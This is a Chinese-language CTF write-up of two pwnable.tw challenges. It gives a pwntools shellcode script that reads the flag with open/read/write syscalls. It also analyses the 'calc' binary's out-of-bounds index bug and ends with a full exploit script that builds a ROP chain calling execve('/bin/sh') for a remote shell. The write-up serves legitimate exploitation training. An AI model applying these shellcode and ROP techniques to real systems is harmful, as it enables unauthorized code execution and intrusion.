题目
考察写shellcode
题目只允许使用read/write/open.
系统调用表: https://introspelliam.github.io/2017/08/06/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8%E7%BA%A6%E5%AE%9A/
#coding=utf-8
from pwn import *
p = remote('chall.pwnable.tw', 10001)
sh = asm('sub esp, 100')
sh += asm('xor ecx, ecx')
sh += asm('xor edx, edx')
sh += asm('xor eax, eax')
sh += asm('xor ebx, ebx')
# "/home//orw//flag" 16个字符
# >>> [ hex(ord(i)) for i in '/home//orw//flag' ]
# [
# '0x2f', '0x68', '0x6f', '0x6d',
# '0x65', '0x2f', '0x2f', '0x6f',
# '0x72', '0x77', '0x2f', '0x2f',
# '0x66', '0x6c', '0x61', '0x67'
# ]
# sys_open
# eax 5
# ebx const char __user
# ecx flags
# edx mode
sh += asm("push ecx") # for '\0'
sh += asm("push 0x67616c66; push 0x2f2f7772; push 0x6f2f2f65; push 0x6d6f682f; mov ebx, esp;")
sh += asm("mov eax, 5")
sh += asm("int 0x80")
sh += asm("nop; nop; nop;")
# sys_read
# eax 3
# ebx fd
# ecx buf
# edx count
# read(fd, buf, 100);
# call read
sh += asm("mov ebx, eax;")
sh += asm("mov eax, 3; mov ecx, esp; mov edx, 60;")
sh += asm("int 0x80;")
sh += asm("nop; nop; nop;")
# sys_write
# eax 4
# ebx fd
# ecx buf
# edx count
sh += asm("mov eax, 4; mov ebx, 1; mov edx, 60;")
sh += asm("int 0x80;")
sh += asm('add esp, 120;')
sh += asm('ret')
p.recvuntil('Give my your shellcode:')
p.send(sh)
s = p.recv()
print 'recv: [%s]' %(s, )
题目是一个计算器
输入数学表达式,求值。
下载而二进制文件,看一下怎么实现的。
get_expr
接收表达式,parse_expr
计算表达式。
get_expr
录取符号和数字,回车结束录入。
接下来的重点就是parse_expr
如何解析表达式了。
图二:
遍历表达式,当遇到符号时,计算符号前的数值。函数维护了两个数组,一个是pool数组,用来存储计算过程中的值,另一个是op数组,用来存储录入的符号。
比如233+456-789
,当录入到+
时,会先把233
添加到pool
数组内,
nNum = atoi(pMalloc);
if ( nNum > 0 )
{
n = (*pool)++;
pool[n + 1] = nNum;
}
这个地方要注意一下,pool数组是如何存储数据的,pool[0]存储的是当前数组内的元素数量。数据从pool+1 开始存储。
所以此时pool的结构是
pool[0] = 1
pool[1] = 233
同时因为当前的op操作符数组内没有运算符,就把+
录入到op数组中。
此时op数组为
op_arr[0] = '+'
op_idx = 1
继续循环,到录入到-
时,首先把456
存入pool, pool数组的内容为 2 233 456
, 虽然发现op数组中已经有+
了,如果新符号为%*/
时,如果上一个符号不为+-
,那么先计算上一个符号的运算,即233 op 456
, 如果发现上一个符号为+-
, 那么那么添加新符号到op数组中。如果新符号为+-
, 那么先把上一个符号的计算完成,即 233+456
, 然后把新符号录入到数组中。此时pool数组的结构为
pool[0] = 1
pool[1] = 689
随后op_arr[0] = '-'
也就是说,每次计算都会把pool数组最右侧的两个数字,和 op 数组中的操作符进行计算把把值写回pool数组。
当扫描结束后,如果发现op_arr中有剩余操作符,就把op_arr中的操作符和pool数组中的操作数进行计算。
计算规则是:
idx = pool[0]
pool[idx-1] = pool[idx-1] (op) pool[idx]
问题就出在这里。
如果我们输入的表达式不是以数字开头的话,比如+300
,那么最后进行计算前,
pool[0] = 1
pool[1] = 300
op_arr='+'
根据计算规则,
此时会 计算
pool[0] = pool[0] + pool[1] -1
即: pool[0] = 300
而我们计算器输出的值
输出pool [ pool[0] ] 处的值,所以此处控制了pool[0] 就可以对任意地址进行读写。
读写的数据地址为:
ebp - 5A0 + eax*4 + 4
其中eax即为pool[0]的值。
同时注意init_pool
函数每次会清空pool[100]
数组, 所以要避免这部分空间。
栈结构为:
pool数组的范围是 ebp - 0x5A0 开始的100个int数值空间。
当eax为300时,读取的地址为 ebp - 5A0 + 300*4 + 4.
为了证明准确,我们尝试读取输入的字符串s的地址。
字符串s的地址为ebp - 0x40C, 距离 pool 相差404个字节, 所以偏移101个字,既可以读取到字符串s.
那么 825241899 是什么呢?
就是我们输入的 ‘+101’
那怎样修改呢。
当我们输入+300+456时,
首先计算+300,此时pool[0] = 300. 随后计算+456时, pool[300] += 456,
就可以实现对任意地址的值的修改。
我们想要调用execve开个shell出来。
19 # execve('/bin/sh')
20 # eax: 11
21 # ebx: "/bin/sh"
22 # ecx: 0
23 # edx: 0
所以我们要构造这样的情况出来。
我们考虑重写main函数下calc函数的返回地址,当从calc函数退出时,掉入我们的shellcode。
>>> 0x5a0 / 4
360
因为ebp下面存的是返回地址。
所以偏移 360+ 1 字处,就是我们的返回地址。
验证:
root@pwn:~/pwn/calc# ./calc
=== Welcome to SECPROG calculator ===
+361
134517913
>>> hex(134517913)
'0x8049499'
0x8049499 正是text节中下一条指令的地址。
所以我们期待的栈结构为
# stack:
# 361: 0x0805c34b # pop eax; ret
# 362: 11
# 363: 0x080701aa # pop edx; ret
# 364: 0
# 365: 0x080701d1 # pop ecx; pop ebx; ret
# 366: 0
# 367: addr4 # /bin/sh
# 368: 0x08049a21 # int 0x80
# 369: 0x6e69622f # "/bin"
# 370: 0x0068732f # "/sh\x00"
# ROPgadget:
# 0x0805c34b : pop eax ; ret
# 0x080701aa : pop edx ; ret
# 0x080701d1 : pop ecx ; pop ebx ; ret
# 0x08049a21 : int 0x80
# >>> [ hex(ord(i)) for i in ’/bin/sh‘ ]
# ['0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x73', '0x68']
有一个难点就是如何确定/bin/sh的地址。
因为我们知道main函数的ebp地址, 又知道main函数的栈空间大小。
就知道了main 函数的esp地址。即 +361 处的线性地址空间。而/bin/sh地址位于 + 368 处
所以 addr_bin_sh = main_ebp+(-main_stack_size+7*4)
,main_stack_size 可以计算得到为 24
exp:
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
con = remote('chall.pwnable.tw', 10100)
## con = process("./calc")
con.recvuntil('calculator ===\n')
base = 0x5a0 / 4 + 1 # 361
# root@pwn:~/pwn/calc# ./calc │
# === Welcome to SECPROG calculator === │
# +361 │
# 134517913 --> 0x8049499
# execve('/bin/sh')
# eax: 11
# ebx: "/bin/sh"
# ecx: 0
# edx: 0
# ret指令弹出栈中保存的指令地址,然后无条件转移到保存的指令地址执行。
# stack:
# 361: 0x0805c34b # pop eax; ret
# 362: 11
# 363: 0x080701aa # pop edx; ret
# 364: 0
# 365: 0x080701d1 # pop ecx; pop ebx; ret
# 366: 0
# 367: addr4 # /bin/sh
# 368: 0x08049a21 # int 0x80
# 369: 0x6e69622f # "/bin"
# 370: 0x0068732f # "/sh\x00"
# ROPgadget:
# 0x0805c34b : pop eax ; ret
# 0x080701aa : pop edx ; ret
# 0x080701d1 : pop ecx ; pop ebx ; ret
# 0x08049a21 : int 0x80
# >>> [ hex(ord(i)) for i in s ]
# ['0x2f', '0x62', '0x69', '0x6e', '0x2f', '0x73', '0x68']
#...............................
#.bt:
#. main
#. calc
#. parse_expr
#...............................
#stack:
#
#
# 局部变量
# save ebp(main) +360
# ret addr main+x +361
# +362
# +363
# +364
# +365
# +366
# +367
# +368
# +369
# +370
#
# main
vals = [
0x0805c34b,
11 ,
0x080701aa,
0 ,
0x080701d1,
0 ,
-1, # /bin/sh\x00 address
0x08049a21,
0x6e69622f,
0x0068732f,
]
for i in range(0, 10):
if i == 6:
# compute /bin/sh addr
# 1. get func main ebp
con.sendline('+360')
print '[*] send [+360]'
mebp = int(con.recv(1024))
print 'main ebp=%x' %(mebp, ) # mebp=ffe73eb8
mstacksize = mebp + 0x100000000 - ((mebp+0x100000000) & 0xfffffff0 - 16 ) # =24
print 'mstacksize = %d' %( mstacksize, )
bin_sh_addr = mebp + (8 - ( mstacksize / 4 + 1 )) * 4
vals[6] = bin_sh_addr
s = '+' + str(base+i)
# print '[*] send [%s]' %(s, )
con.sendline(s)
a = con.recv(1024)
# print 'recv: [%s]' % a
val = int(a)
diff = vals[i] - val
if diff < 0:
s = '+%d-%d' % (base+i, diff * -1)
else:
s = '+%d+%d' % (base+i, diff * 1 )
# print '[*] send [%s]' %(s, )
con.sendline(s)
res = int(con.recv(1024))
print str(base+i), ':', hex(res)
print '[+] Interactive: '
con.interactive()
con.close()